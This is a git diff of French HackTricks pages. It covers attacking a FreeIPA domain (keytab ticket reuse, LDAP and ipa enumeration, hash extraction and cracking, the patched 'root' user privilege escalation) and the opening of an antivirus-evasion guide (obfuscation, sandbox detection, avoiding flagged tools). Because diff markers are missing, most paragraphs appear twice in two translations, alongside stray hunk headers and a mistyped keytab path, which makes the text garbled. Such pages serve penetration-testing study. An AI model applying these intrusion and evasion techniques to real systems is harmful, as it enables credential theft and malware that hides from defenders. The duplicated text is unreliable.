Analyser un fichier keytab est très facile et peut être accompli de plusieurs manières. La manière la plus simple d'**analyser** un fichier **keytab** est avec **klist**. La deuxième méthode utilise un excellent utilitaire python que [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) a créé. Son projet [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) **analysera** le principal et ses clés chiffrées pertinentes.
<figure><img src="../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
Les attaquants peuvent **réutiliser les crédentials stockées dans les fichiers keytab en générant un ticket CCACHE** via le binaire kinit.
Les attaquants peuvent **réutiliser les informations d'identification stockées dans les fichiers keytab en générant un ticket CCACHE** via le binaire kinit.
```powershell
# Parse keytab
klist -k /rtc/krb5.keytab
@ -118,11 +112,9 @@ klist -k /rtc/krb5.keytab
# Get TGT
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
```
<figure><img src="../.gitbook/assets/image (205).png" alt=""><figcaption></figcaption></figure>
### Cheatsheet
### Fiche de triche
Vous pouvez trouver plus d'informations sur la façon d'utiliser les tickets dans Linux en suivant le lien suivant:
Vous pouvez trouver plus d'informations sur comment utiliser les tickets sous linux dans le lien suivant :
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
@ -131,20 +123,18 @@ Vous pouvez trouver plus d'informations sur la façon d'utiliser les tickets dan
## Énumération
{% hint style="warning" %}
Vous pouvez effectuer l'**énumération** via **ldap** et d'autres outils **binaires**, ou en **se connectant à la page web sur le port 443 du serveur FreeIPA**.
Vous pouvez effectuer l'**énumération** via **ldap** et d'autres outils **binaires**, ou en **vous connectant à la page web sur le port 443 du serveur FreeIPA**.
{% endhint %}
<figure><img src="../.gitbook/assets/image (184).png" alt=""><figcaption></figcaption></figure>
### Hôtes, Utilisateurs et Groupes <a href="#4b3b" id="4b3b"></a>
Il est possible de créer des **hôtes**, des **utilisateurs** et des **groupes**. Les hôtes et les utilisateurs sont triés dans des conteneurs appelés «**Groupes d'hôtes**» et «**Groupes d'utilisateurs**» respectivement. Ceux-ci sont similaires aux **Unités organisationnelles** (OU).
Il est possible de créer des **hôtes**, **utilisateurs** et **groupes**. Les hôtes et les utilisateurs sont triés dans des conteneurs appelés respectivement “**Groupes d'Hôtes**” et “**Groupes d'Utilisateurs**”. Ceux-ci sont similaires aux **Unités Organisationnelles** (OU).
Par défaut dans FreeIPA, le serveur LDAP permet les **liens anonymes**, et une grande quantité de données est énumérable **non authentifiée**. Cela peut énumérer toutes les données disponibles non authentifiées:
Par défaut dans FreeIPA, le serveur LDAP permet des **liaisons anonymes**, et une grande quantité de données est énumérable de manière **non authentifiée**. Ceci peut énumérer toutes les données disponibles sans authentification :
```
ldapsearch -x
ldapsearch -x
```
Pour obtenir **plus d'informations**, vous devez utiliser une session **authentifiée** (consultez la section Authentification pour apprendre comment préparer une session authentifiée).
Pour obtenir **plus d'informations**, vous devez utiliser une session **authentifiée** (consultez la section Authentication pour apprendre à préparer une session authentifiée).
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -156,9 +146,9 @@ ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local"
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
À partir d'une machine jointe à un domaine, vous pourrez utiliser les **binaires installés** pour énumérer le domaine :
Depuis une machine jointe au domaine, vous pourrez utiliser les **binaires installés** pour énumérer le domaine :
```bash
ipa user-find
ipa usergroup-find
@ -173,33 +163,33 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
{% hint style="info" %}
L'utilisateur **admin** de **FreeIPA** est l'équivalent des administrateurs de domaine d'**AD**.
L'utilisateur **admin** de **FreeIPA** est l'équivalent des **domain admins** de **AD**.
{% endhint %}
### Hashes <a href="#482b" id="482b"></a>
L'utilisateur **root** du serveur **IPA** a accès aux **hashes** de mots de passe.
L'utilisateur **root** du **serveur IPA** a accès aux **hashes** de mot de passe.
* Le hash de mot de passe d'un utilisateur est stocké en **base64** dans l'**attribut** "userPassword". Ce hash peut être **SSHA512** (anciennes versions de FreeIPA) ou **PBKDF2\_SHA256**.
* Le **Nthash** du mot de passe est stocké en **base64** dans "ipaNTHash" si le système est **intégré** à **AD**.
* Le hash de mot de passe d'un utilisateur est stocké en **base64** dans l'**attribut** "**userPassword**". Ce hash pourrait être **SSHA512** (anciennes versions de FreeIPA) ou **PBKDF2\_SHA256**.
* Le **Nthash** du mot de passe est stocké en **base64** dans "**ipaNTHash**" si le système a une **intégration** avec **AD**.
Pour casser ces hashes :
Pour craquer ces hashes :
• Si FreeIPA est intégré à AD, **ipaNTHash** est facile à casser : vous devez **décoder** **base64** -> le réencoder en **hexadécimal ASCII** -> John The Ripper ou **hashcat** peuvent vous aider à le casser rapidement.
• Si freeIPA est intégré avec AD, **ipaNTHash** est facile à craquer : Vous devez **décoder** **base64** -> le réencoder en hex **ASCII** -> John The Ripper ou **hashcat** peuvent vous aider à le craquer rapidement
• Si une ancienne version de FreeIPA est utilisée, **SSHA512** est utilisé : vous devez décoder **base64** -> trouver le **hash SSHA512** -> John The Ripper ou **hashcat** peuvent vous aider à le casser.
• Si une ancienne version de FreeIPA est utilisée, donc **SSHA512** est utilisé : Vous devez décoder **base64** -> trouver le hash **SSHA512** -> John The Ripper ou **hashcat** peuvent vous aider à le craquer
• Si une nouvelle version de FreeIPA est utilisée, **PBKDF2\_SHA256** est utilisé : vous devez décoder **base64** -> trouver **PBKDF2\_SHA256** -> sa **longueur** est de 256 octets. John peut travailler avec 256 bits (32 octets) -> SHA-265 est utilisé comme fonction pseudo-aléatoire, la taille de bloc est de 32 octets -> vous pouvez utiliser uniquement les premiers 256 bits de notre hash PBKDF2\_SHA256 -> John The Ripper ou hashcat peuvent vous aider à le casser.
• Si une nouvelle version de FreeIPA est utilisée, donc **PBKDF2\_SHA256** est utilisé : Vous devez décoder **base64** -> trouver PBKDF2\_SHA256 -> sa **longueur** est de 256 octets. John peut travailler avec 256 bits (32 octets) -> SHA-256 utilisé comme fonction pseudo-aléatoire, la taille du bloc est de 32 octets -> vous pouvez utiliser seulement les premiers 256 bits de notre hash PBKDF2\_SHA256 -> John The Ripper ou hashcat peuvent vous aider à le craquer
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
Pour extraire les hashes, vous devez être **root dans le serveur FreeIPA**, là vous pouvez utiliser l'outil **`dbscan`** pour les extraire :
Pour extraire les hashes, vous devez être **root sur le serveur FreeIPA**, là vous pouvez utiliser l'outil **`dbscan`** pour les extraire :
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
### Règles HBAC <a href="#482b" id="482b"></a>
Ce sont les règles qui accordent des autorisations spécifiques aux utilisateurs ou aux hôtes sur les ressources (hôtes, services, groupes de services...).
Ce sont les règles qui accordent des permissions spécifiques aux utilisateurs ou aux hôtes sur des ressources (hôtes, services, groupes de services...).
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -210,7 +200,7 @@ ipa hbacrule-show <hbacrule> --all
```
#### Règles Sudo
FreeIPA permet de **gérer les permissions sudo** à partir d'une source **centralisée** grâce aux règles sudo. Ces ensembles de règles peuvent être utilisés pour restreindre ou déléguer la capacité à **exécuter des commandes en tant que sudo** sur les hôtes inscrits dans le domaine. En tant qu'attaquant, nous pouvons énumérer les hôtes et les utilisateurs auxquels ces ensembles de règles sont appliqués, ainsi que les commandes autorisées par l'ensemble de règles.
FreeIPA offre la possibilité de **gérer les permissions sudo** à partir d'une source **centralisée** grâce aux règles sudo. Ces ensembles de règles peuvent être utilisés pour restreindre ou déléguer la capacité d'**exécuter des commandes en tant que sudo** sur les hôtes inscrits dans le domaine. En tant qu'attaquant, nous pouvons énumérer quels hôtes et utilisateurs ces ensembles de règles sont appliqués, et quelles commandes sont autorisées à travers l'ensemble de règles.
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -219,80 +209,81 @@ ipa sudorule-find
# Show info of rule
ipa sudorule-show <sudorule> --all
```
### Contrôle d'accès basé sur les rôles
### Contrôle d'Accès Basé sur les Rôles
Chaque **rôle** contient un ensemble de **privilèges**, et ces privilèges respectifs contiennent un **ensemble de permissions**. Les rôles peuvent être **appliqués aux utilisateurs**, aux **groupes d'utilisateurs**, aux **hôtes**, aux groupes d'hôtes et aux services. Pour illustrer ce concept, discutons du rôle par défaut "Administrateur d'utilisateurs" dans FreeIPA.
Chaque **rôle** contient un ensemble de **privilèges**, et ces privilèges respectifs contiennent un **ensemble** de **permissions**. Les rôles peuvent être **appliqués aux Utilisateurs**, aux **Groupes** d'Utilisateurs, aux **Hôtes**, aux Groupes d'Hôtes et aux Services. Pour illustrer ce concept, discutons du rôle par défaut "Administrateur d'Utilisateur" dans FreeIPA.
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
Comme le montre la capture d'écran ci-dessus, le rôle "Administrateur d'utilisateurs" contient les privilèges suivants :
Comme le montre la capture d'écran ci-dessus, le rôle "Administrateur d'Utilisateur" contient les privilèges suivants :
* **Administrateurs d'utilisateurs**
* **Administrateurs de groupes**
* **Administrateurs d'utilisateurs de la scène**
* **Administrateurs d'Utilisateurs**
* **Administrateurs de Groupes**
* **Administrateurs d'Utilisateurs en Attente**
Nous pouvons aller plus loin et énumérer les **permissions** déléguées à chaque **privilège** :
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
Comme nous pouvons le voir, le rôle "Administrateur d'utilisateurs" contient un **grand nombre de permissions** à l'intérieur de l'environnement. Comprendre le concept général et la structure des **rôles**, des **privilèges** et des **permissions** peut être crucial pour identifier les chemins d'attaque dans tout l'environnement.
Comme nous pouvons le voir, le rôle "**Administrateur d'Utilisateur**" contient **beaucoup de permissions** au sein de l'environnement. Comprendre le concept général et la structure des **rôles**, **privilèges** et **permissions** peut être crucial pour identifier les chemins d'attaque à travers un environnement.
```bash
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
# Using ipa binary
ipa role-find
ipa role-show <role> --all
ipa privilege-find
ipa privilege-find
ipa privilege-show <privilege> --all
ipa permission-find
ipa permission-show <permission> --all
```
### Exemple de scénario d'attaque
Dans [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e), vous pouvez trouver un exemple simple de la façon d'abuser de certaines autorisations pour compromettre le domaine.
Dans [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e), vous pouvez trouver un exemple simple de comment abuser de certaines permissions pour compromettre le domaine.
### Linikatz
### Linikatz/LinikatzV2
[https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## Privesc
## Élévation de privilèges
### ~~Création d'un utilisateur root~~
### ~~création d'utilisateur root~~
{% hint style="warning" %}
Si vous pouvez **créer un nouvel utilisateur avec le nom `root`**, vous pouvez vous faire passer pour lui et vous pourrez **SSH dans n'importe quelle machine en tant que root.**
Si vous pouvez **créer un nouvel utilisateur avec le nom `root`**, vous pouvez vous faire passer pour lui et vous serez capable de **vous connecter en SSH sur n'importe quelle machine en tant que root.**
**CELA A ÉTÉ CORRIGÉ.**
{% endhint %}
Le privilège "**Administrateurs d'utilisateurs**" est très puissant (comme son nom l'indique) :
Le privilège "**User Administrators**" est très puissant (comme son nom l'indique) :
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
Avec ce privilège, on peut avoir beaucoup de pouvoir différent pour affecter les utilisateurs à l'intérieur de l'environnement. En utilisant ce privilège, nous pouvons **créer un nouvel utilisateur dans le domaine FreeIPA nommé \_root**.\_
Avec ce privilège vient beaucoup de différents pouvoirs pour affecter les utilisateurs à l'intérieur de l'environnement. En utilisant ce privilège, nous pouvons **créer un nouvel utilisateur dans le domaine FreeIPA nommé \_root**\_.
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
Une fois que l'utilisateur est créé dans le domaine, nous pouvons **obtenir un ticket pour le compte avec \_kinit**\_.
Une fois l'utilisateur créé dans le domaine, nous pouvons **obtenir un ticket pour le compte avec \_kinit**\_.
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
Maintenant, nous pouvons essayer de **SSH** en utilisant notre nouveau compte de domaine root.
Maintenant, nous pouvons tenter de **nous connecter en SSH** en utilisant notre nouveau compte root du domaine.
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
Comme le montre la figure, cela **fait passer l'utilisateur en compte root local** ! Ainsi, simplement en créant un utilisateur de domaine pour un utilisateur local, nous avons pu nous authentifier en utilisant le compte _root@WESTEROS.LOCAL_ et obtenir le **contexte utilisateur du compte root local**_._
Comme montré, cela **connecte l'utilisateur au compte root local** ! Donc, simplement en créant un utilisateur de domaine pour un utilisateur local, nous avons pu nous authentifier en utilisant le compte _root@WESTEROS.LOCAL_ et obtenir le **contexte utilisateur du compte root local**_._
Pour plus de détails sur cette vulnérabilité, consultez [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\
_Pour plus de détails sur cette vulnérabilité, consultez_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou vous voulez avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

333
windows-hardening/av-bypass.md
View file

@ -1,85 +1,86 @@
# Contournement des antivirus (AV)
# Contournement d'Antivirus (AV)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Cette page a été rédigée par** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
**Cette page a été écrite par** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **Méthodologie de contournement des AV**
## **Méthodologie d'évasion AV**
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non, la détection statique, l'analyse dynamique et, pour les EDR plus avancés, l'analyse comportementale.
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non, la détection statique, l'analyse dynamique et, pour les EDRs plus avancés, l'analyse comportementale.
### **Détection statique**
La détection statique est réalisée en repérant des chaînes de caractères ou des tableaux d'octets malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, la description du fichier, le nom de l'entreprise, les signatures numériques, l'icône, la somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et identifiés comme malveillants. Il existe quelques moyens de contourner ce type de détection :
La détection statique est réalisée en marquant des chaînes malveillantes connues ou des tableaux d'octets dans un binaire ou un script, et également en extrayant des informations du fichier lui-même (par exemple, description du fichier, nom de l'entreprise, signatures numériques, icône, somme de contrôle, etc.). Cela signifie qu'utiliser des outils publics connus peut vous faire détecter plus facilement, car ils ont probablement été analysés et marqués comme malveillants. Il existe plusieurs moyens de contourner ce type de détection :
* **Chiffrement**
Si vous chiffrez le binaire, l'AV ne pourra pas détecter votre programme, mais vous aurez besoin d'un chargeur pour décrypter et exécuter le programme en mémoire.
Si vous chiffrez le binaire, il n'y aura aucun moyen pour l'AV de détecter votre programme, mais vous aurez besoin d'une sorte de chargeur pour déchiffrer et exécuter le programme en mémoire.
* **Obfuscation**
Parfois, il suffit de modifier quelques chaînes de caractères dans votre binaire ou votre script pour le faire passer devant l'AV, mais cela peut être une tâche longue selon ce que vous essayez d'obfusquer.
Parfois, tout ce que vous avez à faire est de changer certaines chaînes dans votre binaire ou script pour le faire passer à travers l'AV, mais cela peut être une tâche chronophage en fonction de ce que vous essayez d'obfusquer.
* **Outils personnalisés**
Si vous développez vos propres outils, il n'y aura pas de signatures malveillantes connues, mais cela demande beaucoup de temps et d'efforts.
Si vous développez vos propres outils, il n'y aura pas de signatures malveillantes connues, mais cela prend beaucoup de temps et d'effort.
{% hint style="info" %}
Une bonne façon de vérifier la détection statique de Windows Defender est d'utiliser [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de scanner chacun individuellement, de cette façon, il peut vous dire exactement quelles sont les chaînes de caractères ou les octets repérés dans votre binaire.
Un bon moyen de vérifier la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de les analyser individuellement, de cette façon, il peut vous dire exactement quelles sont les chaînes ou octets marqués dans votre binaire.
{% endhint %}
Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion pratique des AV.
Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion AV pratique.
### **Analyse dynamique**
L'analyse dynamique consiste à exécuter votre binaire dans un environnement isolé et à surveiller les activités malveillantes (par exemple, essayer de décrypter et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus difficile à gérer, mais voici quelques choses que vous pouvez faire pour échapper aux environnements isolés.
L'analyse dynamique est lorsque l'AV exécute votre binaire dans un bac à sable et surveille les activités malveillantes (par exemple, essayer de déchiffrer et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à gérer, mais voici quelques choses que vous pouvez faire pour éviter les bacs à sable.
* **Attente avant l'exécution** Selon la façon dont elle est implémentée, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV disposent d'un temps très court pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues attentes peut perturber l'analyse des binaires. Le problème est que de nombreux environnements isolés des AV peuvent simplement ignorer l'attente en fonction de la façon dont elle est implémentée.
* **Vérification des ressources de la machine** Les environnements isolés ont généralement très peu de ressources à leur disposition (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du processeur ou même la vitesse des ventilateurs, tout ne sera pas implémenté dans l'environnement isolé.
* **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est connecté au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme.
* **Sommeil avant exécution** Selon la manière dont il est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont un temps très court pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs sommeils peut perturber l'analyse des binaires. Le problème est que de nombreux bacs à sable AV peuvent simplement ignorer le sommeil en fonction de la manière dont il est implémenté.
* **Vérification des ressources de la machine** Habituellement, les bacs à sable ont très peu de ressources à disposition (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même la vitesse des ventilateurs, tout ne sera pas implémenté dans le bac à sable.
* **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez faire une vérification sur le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire en sorte que votre programme se termine.
Il s'avère que le nom de l'ordinateur du sandbox de Microsoft Defender est HAL9TH, donc vous pouvez vérifier le nom de l'ordinateur dans votre logiciel malveillant avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du sandbox de Defender, vous pouvez donc faire sortir votre programme.
Il s'avère que le nom de l'ordinateur du bac à sable de Microsoft Defender est HAL9TH, donc, vous pouvez vérifier le nom de l'ordinateur dans votre malware avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, donc vous pouvez faire en sorte que votre programme se termine.
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>source : <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Voici quelques autres conseils très utiles de [@mgeeky](https://twitter.com/mariuszbit) pour lutter contre les environnements isolés.
Quelques autres très bons conseils de [@mgeeky](https://twitter.com/mariuszbit) pour lutter contre les bacs à sable
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Discord Red Team VX</a> #malware-dev channel</p></figcaption></figure>
Comme nous l'avons dit précédemment dans cet article, les **outils publics** seront éventuellement **détectés**, donc vous devriez vous poser une question :
Comme nous l'avons dit précédemment dans cet article, les **outils publics** seront finalement **détectés**, donc, vous devriez vous poser une question :
Par exemple, si vous voulez extraire LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un autre projet moins connu qui extrait également LSASS.
Par exemple, si vous voulez dumper LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un projet différent qui est moins connu et qui dumpt également LSASS.
La bonne réponse est probablement la deuxième option. Prenons l'exemple de mimikatz, c'est probablement l'un, voire le logiciel malveillant le plus repéré par les AV et les EDR, bien que le projet lui-même soit très cool, il est également très difficile de travailler avec pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez de réaliser.
La bonne réponse est probablement la seconde. Prenant mimikatz comme exemple, c'est probablement l'une des pièces de malware, sinon la plus marquée par les AVs et EDRs, tandis que le projet lui-même est super cool, c'est aussi un cauchemar de travailler avec pour contourner les AVs, donc cherchez simplement des alternatives pour ce que vous essayez d'atteindre.
{% hint style="info" %}
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique des échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS LES METTRE SUR VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous souhaitez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une machine virtuelle, essayez de désactiver la soumission automatique des échantillons et testez-le jusqu'à ce que vous soyez satisfait du résultat.
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique d'échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS TÉLÉCHARGER SUR VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique d'échantillons, et testez-le là jusqu'à ce que vous soyez satisfait du résultat.
{% endhint %}
## EXEs vs DLLs
Chaque fois que c'est possible, **priorisez toujours l'utilisation de DLL pour l'évasion**, d'après mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, c'est donc un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile peut s'exécuter en tant que DLL bien sûr).
